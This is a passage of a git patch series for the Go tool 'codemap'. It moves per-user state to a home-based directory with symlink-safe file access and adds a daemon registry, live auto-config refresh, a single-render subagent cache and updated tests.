a/watch/state_test.go b/watch/state_test.go index 14d82f9b..b9c2d866 100644 --- a/watch/state_test.go +++ b/watch/state_test.go @@ -261,87 +261,68 @@ func TestExplicitSetupSeparatesMutableWatchFiles(t *testing.T) { } } -func TestResolveActiveRuntimeUsesOnlyExactlyOwnedLiveLegacyDaemon(t *testing.T) { - setup := t.TempDir() - project := filepath.Join(t.TempDir(), "project with space") - if err := os.Mkdir(project, 0o755); err != nil { - t.Fatal(err) - } - projectpath.SetSetupRoot(setup) - t.Cleanup(projectpath.ResetSetupRoot) - selection, err := projectpath.SelectRuntime(project) - if err != nil { - t.Fatal(err) - } - - process := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", selection.ProjectRoot) +func startHelperDaemon(t *testing.T, root string) *exec.Cmd { + t.Helper() + process := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", root) process.Env = append(os.Environ(), "CODEMAP_TEST_WATCH_HELPER=1") if err := process.Start(); err != nil { t.Fatal(err) } - t.Cleanup(func() { _ = process.Process.Kill(); _, _ = process.Process.Wait() }) - if err := os.MkdirAll(selection.LegacyDir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(selection.LegacyDir, "watch.pid"), []byte(fmt.Sprint(process.Process.Pid)), 0o644); err != nil { + go func() { _ = process.Wait() }() // reap, so a terminated helper is not a live zombie + t.Cleanup(func() { _ = process.Process.Kill() }) + return process +} + +// A daemon from an older binary publishes state elsewhere; only the registry +// knows it. It must be found (so no second one starts) yet count as not +// running here (so the start path replaces it), and Stop must end it. +func TestResolveActiveRuntimeFindsRegisteredDaemonOutsideStateDir(t *testing.T) { + project := filepath.Join(t.TempDir(), "project with space") + if err := os.MkdirAll(filepath.Join(project, ".git"), 0o755); err != nil { t.Fatal(err) } + root := projectpath.CanonicalPath(project) + process := startHelperDaemon(t, root) + registerDaemon(root, process.Process.Pid) active, err := ResolveActiveRuntime(project) if err != nil { t.Fatal(err) } - if active.Directory != selection.LegacyDir || !active.Legacy || active.PID != process.Process.Pid { - t.Fatalf("ResolveActiveRuntime() = %#v, want owned legacy daemon", active) + if !active.Legacy || active.PID != process.Process.Pid { + t.Fatalf("ResolveActiveRuntime() = %#v, want the registered daemon", active) } - - foreign := t.TempDir() - foreignProcess := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", foreign) - foreignProcess.Env = append(os.Environ(), "CODEMAP_TEST_WATCH_HELPER=1") - if err := foreignProcess.Start(); err != nil { - t.Fatal(err) + if IsRunning(project) { + t.Fatal("IsRunning = true for a daemon that publishes outside the state dir") } - t.Cleanup(func() { _ = foreignProcess.Process.Kill(); _, _ = foreignProcess.Process.Wait() }) - if err := os.WriteFile(filepath.Join(selection.LegacyDir, "watch.pid"), []byte(fmt.Sprint(foreignProcess.Process.Pid)), 0o644); err != nil { - t.Fatal(err) + if err := Stop(project); err != nil { + t.Fatalf("Stop() = %v", err) } - if _, err := ResolveActiveRuntime(project); !errors.Is(err, ErrForeignDaemonPID) { - t.Fatalf("foreign ResolveActiveRuntime() error = %v, want ErrForeignDaemonPID", err) + if registeredPID(root) != 0 { + t.Fatal("registry entry survived Stop") } } -func TestResolveActiveRuntimeFindsPriorExplicitSetupProjectDaemon(t *testing.T) { - setup := t.TempDir() - project := filepath.Join(t.TempDir(), "project") - if err := os.Mkdir(project, 0o755); err != nil { - t.Fatal(err) - } - projectpath.SetSetupRoot(setup) - t.Cleanup(projectpath.ResetSetupRoot) - selection, err := projectpath.SelectRuntime(project) - if err != nil { - t.Fatal(err) - } - legacyDir := filepath.Join(selection.LegacyDir, "projects", projectpath.ProjectKey(selection.ProjectRoot)) - process := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", selection.ProjectRoot) - process.Env = append(os.Environ(), "CODEMAP_TEST_WATCH_HELPER=1") - if err := process.Start(); err != nil { - t.Fatal(err) - } - t.Cleanup(func() { _ = process.Process.Kill(); _, _ = process.Process.Wait() }) - if err := os.MkdirAll(legacyDir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(legacyDir, "watch.pid"), []byte(fmt.Sprint(process.Process.Pid)), 0o644); err != nil { +func TestResolveActiveRuntimeIgnoresForeignRegisteredPID(t *testing.T) { + project := t.TempDir() + if err := os.Mkdir(filepath.Join(project, ".git"), 0o755); err != nil { t.Fatal(err) } + foreign := startHelperDaemon(t, t.TempDir()) + registerDaemon(project, foreign.Process.Pid) active, err := ResolveActiveRuntime(project) if err != nil { t.Fatal(err) } - if active.Directory != legacyDir || !active.Legacy || active.PID != process.Process.Pid { - t.Fatalf("ResolveActiveRuntime() = %#v, want prior setup-root daemon", active) + if active.PID != 0 || active.Legacy { + t.Fatalf("ResolveActiveRuntime() = %#v, want no daemon for a foreign pid", active) + } + if err := Stop(project); err == nil { + t.Fatal("Stop() succeeded with no daemon") + } + if !processAlive(foreign.Process.Pid) { + t.Fatal("Stop killed a daemon for another root") } } @@ -413,9 +394,6 @@ func TestStopOwnedDaemonWaitsForVerifiedExitBeforeRemovingPID(t *testing.T) { if err := Stop(root); err != nil { t.Fatal(err) } - if processAlive(process.Process.Pid) { - t.Fatal("Stop returned before daemon exit was observable") - } selection, err := projectpath.SelectRuntime(root) if err != nil { t.Fatal(err) diff --git a/watch/transition.go b/watch/transition.go index f213544c..15d57a8d 100644 --- a/watch/transition.go +++ b/watch/transition.go @@ -10,7 +10,6 @@ import ( "path/filepath" "time" - "codemap/internal/gitexclude" "codemap/internal/projectpath" ) @@ -45,9 +44,6 @@ func AcquireTransition(root string) (*Transition, error) { if err != nil { return nil, err } - if err := gitexclude.MkdirAll(selection.RuntimeDir, 0o755); err != nil { - return nil, err - } if info, err := os.Lstat(selection.RuntimeDir); err != nil || !info.IsDir() { return nil, fmt.Errorf("unsafe runtime directory %q", selection.RuntimeDir) } From ab16c76359d974d8c574271511e288285b515e34 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 23:53:20 -0500 Subject: [PATCH 08/15] fix(state): home-based state dir, link-safe state files, live auto filter State now lives in ~/.codemap/state//, beside the daemon registry, and XDG_CACHE_HOME / os.UserCacheDir are no longer consulted, so two processes with different XDG values share one daemon. Same guarantees as before: 0700 dirs, 0600 files, Lstat checks from .codemap/state down, owner check, project marker (now published with a hard link so a concurrent reader never sees it empty), no temp fallback, a missing home is never created. The registry records each daemon's state dir, so a daemon under an explicit --setup-root layout is not mistaken for an old-binary daemon. Every state reader and writer goes through internal/runtimefile, which refuses a symlinked or non-regular file (O_NOFOLLOW append on Unix, Lstat plus SameFile on read). Hooks treat ErrUnsafe like a missing state dir and degrade quietly. The auto config is re-derived from the scan `codemap .` already does and rewritten when it changes; hooks and `watch start` never scan for it. The tree prints "auto filter: only ...; codemap config show" when it applies. ReadLatest falls back once, read-only, to the legacy in-repo handoff. subagent-start renders at most once per repo per HEAD: the lock winner launches one detached refresh, every caller waits up to its budget for the cache. A losing `watch start` racer reports the running daemon and exits 0. Doctor only calls known machine-state names safe to delete and lists anything else as unrecognised. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/agent_edits.go | 9 +- cmd/config.go | 72 ++++++-- cmd/config_more_test.go | 54 ++++++ cmd/doctor.go | 6 +- cmd/gitignore.go | 26 ++- cmd/hooks.go | 48 ++---- cmd/setup_review_test.go | 3 +- cmd/subagent_cache.go | 85 +++++---- cmd/subagent_cache_test.go | 189 ++++++++++----------- cmd/testmain_test.go | 1 - config/config.go | 13 +- config/testmain_test.go | 20 +++ docs/CONFIG.md | 2 +- docs/INSTALL.md | 2 +- find/testmain_test.go | 20 +++ handoff/legacy_test.go | 70 ++++++++ handoff/storage.go | 36 +++- handoff/testmain_test.go | 5 +- internal/projectpath/owner_windows.go | 2 +- internal/projectpath/path.go | 2 +- internal/projectpath/runtime.go | 115 +++++++------ internal/projectpath/runtime_cache_test.go | 99 ++++------- internal/projectpath/testmain_test.go | 5 +- internal/runtimefile/append_unix.go | 6 +- internal/runtimefile/append_windows.go | 2 +- internal/runtimefile/runtimefile.go | 34 +++- internal/runtimefile/runtimefile_test.go | 31 ++++ main.go | 44 ++++- main_test.go | 3 - mcp/testmain_test.go | 3 +- render/testmain_test.go | 20 +++ scanner/testmain_test.go | 20 +++ skills/testmain_test.go | 20 +++ state_location_test.go | 142 +++++++++++++--- topology/cache.go | 3 +- topology/testmain_test.go | 5 +- watch/daemon.go | 2 +- watch/events.go | 4 +- watch/registry.go | 49 +++--- watch/state.go | 19 ++- watch/state_test.go | 33 +++- watch/testmain_test.go | 3 +- watch/transition.go | 3 +- 43 files changed, 918 insertions(+), 412 deletions(-) create mode 100644 config/testmain_test.go create mode 100644 find/testmain_test.go create mode 100644 handoff/legacy_test.go create mode 100644 render/testmain_test.go create mode 100644 scanner/testmain_test.go create mode 100644 skills/testmain_test.go diff --git a/cmd/agent_edits.go b/cmd/agent_edits.go index f2078a8e..843d9fd0 100644 --- a/cmd/agent_edits.go +++ b/cmd/agent_edits.go @@ -10,6 +10,7 @@ import ( "time" "codemap/internal/projectpath" + "codemap/internal/runtimefile" ) // The watch daemon sees every write on disk โ€” including git merges, checkouts, @@ -79,7 +80,7 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { return err } compactAgentEdits(logPath, now) - f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + f, err := runtimefile.OpenAppend(logPath, 0o600) if err != nil { return err } @@ -98,7 +99,7 @@ func compactAgentEdits(logPath string, now time.Time) { if err != nil || info.Size() <= agentEditsMaxBytes { return } - data, err := os.ReadFile(logPath) + data, err := runtimefile.Read(logPath) if err != nil { return } @@ -116,7 +117,7 @@ func compactAgentEdits(logPath string, now time.Time) { kept.Write(scanner.Bytes()) kept.WriteByte('\n') } - _ = writeFileAtomic(logPath, kept.Bytes(), 0o600) + _ = runtimefile.WriteAtomic(logPath, kept.Bytes(), 0o600) } // loadAgentEdits reads records at or after `since`. Missing or malformed logs @@ -126,7 +127,7 @@ func loadAgentEdits(root string, since time.Time) agentEdits { paths: make(map[string]bool), bySession: make(map[string]map[string]bool), } - data, err := os.ReadFile(agentEditsPath(root)) + data, err := runtimefile.Read(agentEditsPath(root)) if err != nil { return edits } diff --git a/cmd/config.go b/cmd/config.go index 201537b4..a969bc95 100644 --- a/cmd/config.go +++ b/cmd/config.go @@ -1,6 +1,7 @@ package cmd import ( + "bytes" "context" "encoding/json" "errors" @@ -85,23 +86,26 @@ func detectNoise(files []scanner.FileInfo) []string { return out } -// EnsureAutoConfig stores an auto-detected config in the project's state dir -// (config.AutoConfigPath) when the git checkout has no .codemap/config.json, -// so a repo that never ran setup still gets `only` filters (a few Go files -// among thousands of data files stay under the large-repo cutoff). It is -// computed once and recomputed only when missing or unreadable: it does not -// follow later changes in the file mix; `codemap config init` is the -// explicit, committable path. It never writes inside the repo, and failures -// are silent. It reports whether it wrote. -func EnsureAutoConfig(root string) bool { +// AutoConfigActive reports whether root, a git checkout, has no +// .codemap/config.json and so runs on the auto-detected config. +func AutoConfigActive(root string) bool { if _, err := os.Stat(config.ConfigPath(root)); !os.IsNotExist(err) { return false } - if _, err := os.Stat(filepath.Join(root, ".git")); err != nil { - return false - } + _, err := os.Stat(filepath.Join(root, ".git")) + return err == nil +} + +// EnsureAutoConfig stores an auto-detected config in the project's state dir +// (config.AutoConfigPath) when it is missing or unreadable, so a repo that +// never ran setup still gets `only` filters (a few Go files among thousands +// of data files stay under the large-repo cutoff). It scans, so hooks never +// call it; the tree keeps the stored copy current through RefreshAutoConfig. +// `codemap config init` is the explicit, committable path. It never writes +// inside the repo, and failures are silent. It reports whether it wrote. +func EnsureAutoConfig(root string) bool { path := config.AutoConfigPath(root) - if path == "" { + if !AutoConfigActive(root) || path == "" { return false } if data, err := runtimefile.Read(path); err == nil && json.Valid(data) { @@ -114,6 +118,34 @@ func EnsureAutoConfig(root string) bool { return runtimefile.WriteAtomic(path, encodeConfig(cfg), 0o600) == nil } +// RefreshAutoConfig re-derives the auto config from files, the unfiltered +// result of a scan the caller already ran, and rewrites the stored copy when +// it changed, so it follows the repo's file mix without a second scan. +func RefreshAutoConfig(root string, files []scanner.FileInfo) config.ProjectConfig { + cfg := configFromFiles(files, &configInitResult{}) + path := config.AutoConfigPath(root) + data := encodeConfig(cfg) + if stored, err := runtimefile.Read(path); path != "" && (err != nil || !bytes.Equal(stored, data)) { + _ = runtimefile.WriteAtomic(path, data, 0o600) + } + return cfg +} + +// AutoFilterNote names an auto filter in one line, so it is never silent. +func AutoFilterNote(cfg config.ProjectConfig) string { + if len(cfg.Only) == 0 && len(cfg.Exclude) == 0 { + return "" + } + note := "auto filter:" + if len(cfg.Only) > 0 { + note += " only " + strings.Join(cfg.Only, ",") + } + if len(cfg.Exclude) > 0 { + note += " exclude " + strings.Join(cfg.Exclude, ",") + } + return note + "; codemap config show" +} + // nonCodeExtensions are extensions excluded from "config init" auto-detection. // These are documentation, data, or lock files that rarely represent the // project's primary code. @@ -220,15 +252,23 @@ func encodeConfig(cfg config.ProjectConfig) []byte { return append(data, '\n') } +// scanForConfig is the full scan config detection runs; tests count it. +var scanForConfig = func(root string) ([]scanner.FileInfo, error) { + return scanner.ScanFiles(context.Background(), root, scanner.NewGitIgnoreCache(root), nil, nil) +} + // detectProjectConfig picks `only` and `exclude` from the files under root // and fills result's counts; it writes nothing. func detectProjectConfig(root string, result *configInitResult) (config.ProjectConfig, error) { - gitCache := scanner.NewGitIgnoreCache(root) - files, err := scanner.ScanFiles(context.Background(), root, gitCache, nil, nil) + files, err := scanForConfig(root) if err != nil { return config.ProjectConfig{}, fmt.Errorf("scan files: %w", err) } + return configFromFiles(files, result), nil +} +// configFromFiles derives the auto config from an unfiltered file list. +func configFromFiles(files []scanner.FileInfo, result *configInitResult) config.ProjectConfig { extCount := make(map[string]int) for _, f := range files { ext := strings.TrimPrefix(strings.ToLower(f.Ext), ".") @@ -280,7 +320,7 @@ func detectProjectConfig(root string, result *configInitResult) (config.ProjectC } } } - return cfg, nil + return cfg } func configShow(root string) { diff --git a/cmd/config_more_test.go b/cmd/config_more_test.go index 36be8b2c..1ac7726b 100644 --- a/cmd/config_more_test.go +++ b/cmd/config_more_test.go @@ -11,8 +11,10 @@ import ( "strconv" "strings" "testing" + "time" "codemap/config" + "codemap/scanner" ) func TestInitProjectConfigCreatesAutoDetectedConfig(t *testing.T) { @@ -251,6 +253,58 @@ func TestEnsureAutoConfigStaysOutOfTheRepo(t *testing.T) { } } +// Hooks never run a scan to compute the auto config: with none stored they +// use defaults, and the tree the session-start subprocess runs stores it. +func TestHooksNeverScanForTheAutoConfig(t *testing.T) { + root := makeRepoOnBranch(t, "main") + mustWriteConfigFixture(t, filepath.Join(root, "main.go"), "package main\n") + scans := 0 + orig := scanForConfig + t.Cleanup(func() { scanForConfig = orig }) + scanForConfig = func(root string) ([]scanner.FileInfo, error) { scans++; return orig(root) } + withHookRuntimeStubs(t, func() (string, error) { return "", errors.New("no subprocess in this test") }, nil, func(string) bool { return true }, func(time.Duration) {}) + + edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + for _, step := range []struct{ hook, stdin string }{ + {"session-start", `{"session_id":"s"}`}, + {"prompt-submit", `{"session_id":"s","prompt":"fix main.go"}`}, + {"pre-edit", edit}, + {"post-edit", edit}, + {"pre-compact", `{"session_id":"s"}`}, + {"session-stop", `{"session_id":"s"}`}, + } { + withStdinInput(t, step.stdin, func() { captureOutput(func() { _ = RunHook(step.hook, root) }) }) + } + if scans != 0 { + t.Fatalf("hooks ran %d config scan(s)", scans) + } + if _, err := os.Stat(config.AutoConfigPath(root)); !os.IsNotExist(err) { + t.Fatalf("a hook stored an auto config: %v", err) + } +} + +// The tree re-derives the auto config from its own scan, so a repo that +// gained Go files after a Python-only start shows them on the next tree. +func TestRefreshAutoConfigFollowsTheFileMix(t *testing.T) { + root := t.TempDir() + mustWriteConfigFixture(t, filepath.Join(root, ".git", "HEAD"), "ref: refs/heads/main\n") + mustWriteConfigFixture(t, filepath.Join(root, "tool.py"), "print(1)\n") + files, _ := scanForConfig(root) + if got := strings.Join(RefreshAutoConfig(root, files).Only, ","); got != "py" { + t.Fatalf("only = %q, want py", got) + } + mustWriteConfigFixture(t, filepath.Join(root, "pkg", "a.go"), "package pkg\n") + mustWriteConfigFixture(t, filepath.Join(root, "pkg", "b.go"), "package pkg\n") + files, _ = scanForConfig(root) + RefreshAutoConfig(root, files) + if got := config.Load(root).Only; !slices.Contains(got, "go") { + t.Fatalf("stored only = %v, want go added", got) + } + if note := AutoFilterNote(config.Load(root)); !strings.HasPrefix(note, "auto filter: only go,py") { + t.Fatalf("note = %q", note) + } +} + // TestEnsureAutoConfigKeepsFreshCloneClean: the auto config leaves a fresh // clone with nothing new, not even ignored files. func TestEnsureAutoConfigKeepsFreshCloneClean(t *testing.T) { diff --git a/cmd/doctor.go b/cmd/doctor.go index 36254b1f..249a4647 100644 --- a/cmd/doctor.go +++ b/cmd/doctor.go @@ -236,9 +236,13 @@ func doctorCheckTrackedCodemapState(root string, failures *int) { } else { fmt.Println("OK tracked codemap state: no machine-state files under .codemap/ are committed (git ls-files .codemap)") } - if left := leftoverMachineState(root); len(left) > 0 { + left, unknown := leftoverMachineState(root) + if len(left) > 0 { fmt.Printf("NOTE leftover codemap state: %d file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n%s", len(left), nameList(left)) } + if len(unknown) > 0 { + fmt.Printf("NOTE unrecognised files in .codemap/ (not touched by codemap): %d\n%s", len(unknown), nameList(unknown)) + } } func reportCodexRuntimeVersions(cliPath string) bool { diff --git a/cmd/gitignore.go b/cmd/gitignore.go index 4cbc9b94..fd9178cf 100644 --- a/cmd/gitignore.go +++ b/cmd/gitignore.go @@ -44,25 +44,29 @@ func reportLegacyState(w io.Writer, root string) { if tracked := trackedMachineState(root); len(tracked) > 0 { fmt.Fprintf(w, "%d codemap machine-state file(s) are committed:\n%s", len(tracked), trackedStateDetail(tracked)) } - if left := leftoverMachineState(root); len(left) > 0 { + left, unknown := leftoverMachineState(root) + if len(left) > 0 { fmt.Fprintf(w, "%d codemap machine-state file(s) under .codemap/ are no longer used and are safe to delete:\n%s", len(left), nameList(left)) } + if len(unknown) > 0 { + fmt.Fprintf(w, "%d unrecognised file(s) in .codemap/ (not touched by codemap):\n%s", len(unknown), nameList(unknown)) + } } // leftoverListMax bounds the leftover list; the count above it is exact. const leftoverListMax = 20 -// leftoverMachineState lists untracked files under .codemap/ other than -// config.json, .gitignore and skills/: state from before it moved to the -// per-user state dir. Symlinks are listed, never followed. -func leftoverMachineState(root string) []string { +// leftoverMachineState splits untracked files under .codemap/ other than +// config.json, .gitignore and skills/ into names an older codemap wrote +// (state from before it moved to the per-user state dir) and anything else, +// which may be the user's. Symlinks are listed, never followed. +func leftoverMachineState(root string) (left, unknown []string) { dir := projectpath.CodemapDir(root) tracked := map[string]bool{} files, _ := gitexclude.TrackedStateFiles(root) for _, f := range files { tracked[f] = true } - var left []string _ = filepath.WalkDir(dir, func(path string, d os.DirEntry, err error) error { if err != nil || d.IsDir() { return nil @@ -72,12 +76,16 @@ func leftoverMachineState(root string) []string { return nil } rel = filepath.ToSlash(rel) - if !userAuthored(rel) && !tracked[rel] { + switch { + case userAuthored(rel) || tracked[rel]: + case knownStateFile.MatchString(rel) && !strings.Contains(rel, ".."): left = append(left, rel) + default: + unknown = append(unknown, rel) } return nil }) - return left + return left, unknown } func userAuthored(rel string) bool { @@ -135,7 +143,7 @@ func trackedStateDetail(tracked []string) string { // knownStateFile matches the machine-state paths codemap writes, in the // characters [A-Za-z0-9._/-] only. -var knownStateFile = regexp.MustCompile(`^\.codemap/(state\.json|status|hubs\.txt|agent_edits\.jsonl|events\.log|watch\.pid|sessions\.lock|topology-state\.json|handoff\.[A-Za-z0-9_-]+\.(json|log)|(sessions|projects|runtime)/[A-Za-z0-9._/-]+)$`) +var knownStateFile = regexp.MustCompile(`^\.codemap/(state\.json|status|hubs\.txt|agent_edits\.jsonl|events\.log|watch\.pid|watch\.transition|project\.json|sessions\.lock|topology-state\.json|handoff\.[A-Za-z0-9_-]+\.(json|log)|(sessions|projects|runtime)/[A-Za-z0-9._/-]+)$`) // trackedMachineState is gitexclude.TrackedStateFiles minus the user-authored // files (config.json, skills/) that are meant to be committed. diff --git a/cmd/hooks.go b/cmd/hooks.go index fccff262..79d7bdc9 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -20,6 +20,7 @@ import ( "codemap/config" "codemap/handoff" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/limits" "codemap/scanner" "codemap/skills" @@ -355,7 +356,7 @@ func RunHook(hookName, root string) error { } err = runHookOutput(hookName, fn) // No safe place for state degrades features; it never fails the agent. - if errors.Is(err, projectpath.ErrNoStateDir) { + if errors.Is(err, projectpath.ErrNoStateDir) || errors.Is(err, runtimefile.ErrUnsafe) { return nil } return err @@ -442,7 +443,6 @@ func hookSessionStart(root string) error { // Check for previous session context before starting new daemon lastSessionEvents := getLastSessionEvents(root) - EnsureAutoConfig(root) // before the daemon, which reads it ensureSessionDaemon(root, hookSessionIDFromStdin()) fileCount := 0 @@ -582,8 +582,8 @@ func renderTreeSubprocess(ctx context.Context, exe, root string, projCfg config. // subagentStartCap bounds the subagent orientation block. const subagentStartCap = 2500 -// subagentStartTimeout bounds a cache-miss render; past it the subagent gets -// no block and a background render fills the cache for the next one. +// subagentStartTimeout bounds the wait for a cache-miss render; past it the +// subagent gets no block and the background render fills the cache for later. const subagentStartTimeout = 3 * time.Second // renderSubagentBlock renders the orientation block; tests replace it. @@ -603,9 +603,6 @@ var renderSubagentBlock = func(ctx context.Context, root string) (string, error) // hookSubagentStart orients a subagent, which never gets SessionStart: the // top-level directories with hub marks, then the hub list. The payload's cwd // wins over the process cwd because a worktree-isolated subagent runs elsewhere. -// On a cache miss the background render starts before the foreground one, so -// it survives a hook timeout that ends this process; whichever finishes first -// writes the cache. // ponytail: cached per HEAD, so a new top-level directory shows only after // the next commit; key on a tree listing hash if that ever matters. func hookSubagentStart(root string, budget time.Duration) error { @@ -624,22 +621,7 @@ func hookSubagentStart(root string, budget time.Duration) error { if root, err = ValidateProjectPath(resolved); err != nil { return err } - key := subagentCacheKey(root) - if block, ok := readSubagentCache(root, key); ok { - fmt.Print(block) - return nil - } - if key != "" && !subagentRefreshRunning(root) { - startSubagentRefresh(root) - } - ctx, cancel := context.WithTimeout(context.Background(), budget) - defer cancel() - block, err := renderSubagentBlock(ctx, root) - if err != nil { - return err - } - writeSubagentCache(root, key, block) - fmt.Print(block) + fmt.Print(subagentStartBlock(root, budget)) return nil } @@ -870,7 +852,7 @@ func getLastSessionEvents(root string) []string { return nil } eventsFile := filepath.Join(codemapDir, "events.log") - f, err := os.Open(eventsFile) + f, err := runtimefile.OpenRead(eventsFile) if err != nil { return nil } @@ -1243,7 +1225,7 @@ func writeStatuslineState(root string, intent TaskIntent) { if intent.RiskLevel != "low" { status += " " + intent.RiskLevel } - os.WriteFile(filepath.Join(codemapDir, "status"), []byte(status), 0o600) + _ = runtimefile.WriteAtomic(filepath.Join(codemapDir, "status"), []byte(status), 0o600) } // emitIntentMarker outputs a structured JSON comment for machine consumption. @@ -1653,15 +1635,13 @@ func hookPreCompact(root string) error { // Write hub state hubsFile := filepath.Join(codemapDir, "hubs.txt") - f, err := os.OpenFile(hubsFile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600) - if err != nil { - return err - } - defer f.Close() - - fmt.Fprintf(f, "# Hub files at %s\n", time.Now().Format(time.RFC3339)) + var hubs strings.Builder + fmt.Fprintf(&hubs, "# Hub files at %s\n", time.Now().Format(time.RFC3339)) for _, hub := range info.Hubs { - fmt.Fprintln(f, hub) + fmt.Fprintln(&hubs, hub) + } + if err := runtimefile.WriteAtomic(hubsFile, []byte(hubs.String()), 0o600); err != nil { + return err } fmt.Println() @@ -2152,7 +2132,7 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti if err != nil { return err } - if err := os.WriteFile(leasePath, append(payload, '\n'), 0o600); err != nil { + if err := runtimefile.WriteAtomic(leasePath, append(payload, '\n'), 0o600); err != nil { return err } } else if err := os.Remove(leasePath); err != nil && !os.IsNotExist(err) { diff --git a/cmd/setup_review_test.go b/cmd/setup_review_test.go index 507177d7..1c72c102 100644 --- a/cmd/setup_review_test.go +++ b/cmd/setup_review_test.go @@ -657,7 +657,7 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { runGitTestCmd(t, root, "add", "-f", ".codemap") runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "track codemap state") // ...and untracked leftovers nothing reads any more. - for _, name := range []string{"hubs.txt", "projects/abc/handoff.latest.json"} { + for _, name := range []string{"hubs.txt", "projects/abc/handoff.latest.json", "notes/mine.txt"} { path := filepath.Join(root, ".codemap", filepath.FromSlash(name)) if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { t.Fatal(err) @@ -678,6 +678,7 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { " untrack with: git rm --cached -- .codemap/state.json\n", "NOTE leftover codemap state: 2 file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n" + " (file names, not commands)\n .codemap/hubs.txt\n .codemap/projects/abc/handoff.latest.json\n", + "NOTE unrecognised files in .codemap/ (not touched by codemap): 1\n (file names, not commands)\n .codemap/notes/mine.txt\n", "OK state dir: ", } { if !strings.Contains(out, want) { diff --git a/cmd/subagent_cache.go b/cmd/subagent_cache.go index eaf7de68..5725d664 100644 --- a/cmd/subagent_cache.go +++ b/cmd/subagent_cache.go @@ -29,19 +29,6 @@ type subagentCache struct { Block string `json:"block"` } -// subagentCacheKey is HEAD plus the format version; "" (no caching) when the -// repo has no commit yet. -func subagentCacheKey(root string) string { - cmd := exec.Command("git", "rev-parse", "--verify", "-q", "HEAD") - cmd.Dir = root - out, err := cmd.Output() - head := strings.TrimSpace(string(out)) - if err != nil || head == "" { - return "" - } - return head + "/v" + subagentCacheVersion -} - func subagentCacheDir(root string) (string, bool) { dir, err := projectpath.CheckedRuntimeCodemapDir(root) return dir, err == nil @@ -78,31 +65,64 @@ func writeSubagentCache(root, key, block string) { _ = runtimefile.WriteAtomic(filepath.Join(dir, subagentCacheFile), data, 0o600) } -// subagentRefreshRunning reports a background render holding a fresh lock. -func subagentRefreshRunning(root string) bool { +// subagentCacheKey is HEAD plus the format version; a repo with no commit yet +// shares one "unborn" key until its first commit. +func subagentCacheKey(root string) string { + cmd := exec.Command("git", "rev-parse", "--verify", "-q", "HEAD") + cmd.Dir = root + out, _ := cmd.Output() + head := strings.TrimSpace(string(out)) + if head == "" { + head = "unborn" + } + return head + "/v" + subagentCacheVersion +} + +// subagentStartBlock returns the cached block, or "" when none appears within +// budget. Nobody renders in the foreground: on a miss the one process that +// wins the lock launches the single detached render, and every caller, the +// winner included, waits for the cache file. So N subagents starting on a +// new HEAD cost one render, and a hook killed by its timeout still leaves it +// running. +func subagentStartBlock(root string, budget time.Duration) string { + key := subagentCacheKey(root) + if block, ok := readSubagentCache(root, key); ok { + return block + } dir, ok := subagentCacheDir(root) if !ok { - return true // nowhere to write: do not launch one + return "" + } + if release, won := acquireRefreshLock(filepath.Join(dir, subagentRefreshLock)); won && !startSubagentRefresh(root) { + release() + } + for deadline := time.Now().Add(budget); ; time.Sleep(25 * time.Millisecond) { + if block, ok := readSubagentCache(root, key); ok { + return block + } + if time.Now().After(deadline) { + return "" + } } - info, err := os.Stat(filepath.Join(dir, subagentRefreshLock)) - return err == nil && time.Since(info.ModTime()) < subagentRefreshBound } -// startSubagentRefresh launches the background render, detached, so the next -// subagent gets a block; tests replace it. -var startSubagentRefresh = func(root string) { +// startSubagentRefresh launches the detached render, which owns the lock the +// caller took; tests replace it. It reports whether the launch happened. +var startSubagentRefresh = func(root string) bool { exe, err := os.Executable() if err != nil { - return + return false } cmd := exec.Command(exe, append(projectpath.PrependSetupRootArgs("hook", subagentRefreshHook), root)...) - if cmd.Start() == nil { - _ = cmd.Process.Release() + if cmd.Start() != nil { + return false } + _ = cmd.Process.Release() + return true } // refreshSubagentCache renders and stores the block for the current HEAD, -// at most one per project at a time and never past subagentRefreshBound. +// never past subagentRefreshBound, then drops the lock its launcher took. func refreshSubagentCache(root string) { resolved, found, err := ResolveNearestGitRoot(root) if err != nil || !found { @@ -112,15 +132,11 @@ func refreshSubagentCache(root string) { return } dir, ok := subagentCacheDir(root) - key := subagentCacheKey(root) - if !ok || key == "" { - return - } - release, ok := acquireRefreshLock(filepath.Join(dir, subagentRefreshLock)) if !ok { return } - defer release() + defer os.Remove(filepath.Join(dir, subagentRefreshLock)) + key := subagentCacheKey(root) if _, hit := readSubagentCache(root, key); hit { return } @@ -131,8 +147,9 @@ func refreshSubagentCache(root string) { } } -// acquireRefreshLock creates lock exclusively. A lock older than the refresh -// bound belongs to a render that died, so it is taken over. +// acquireRefreshLock creates lock exclusively (O_EXCL never follows a link). +// A lock older than the refresh bound belongs to a render that died, so it is +// taken over. func acquireRefreshLock(lock string) (func(), bool) { for attempt := 0; attempt < 2; attempt++ { f, err := os.OpenFile(lock, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) @@ -140,7 +157,7 @@ func acquireRefreshLock(lock string) (func(), bool) { _ = f.Close() return func() { _ = os.Remove(lock) }, true } - info, statErr := 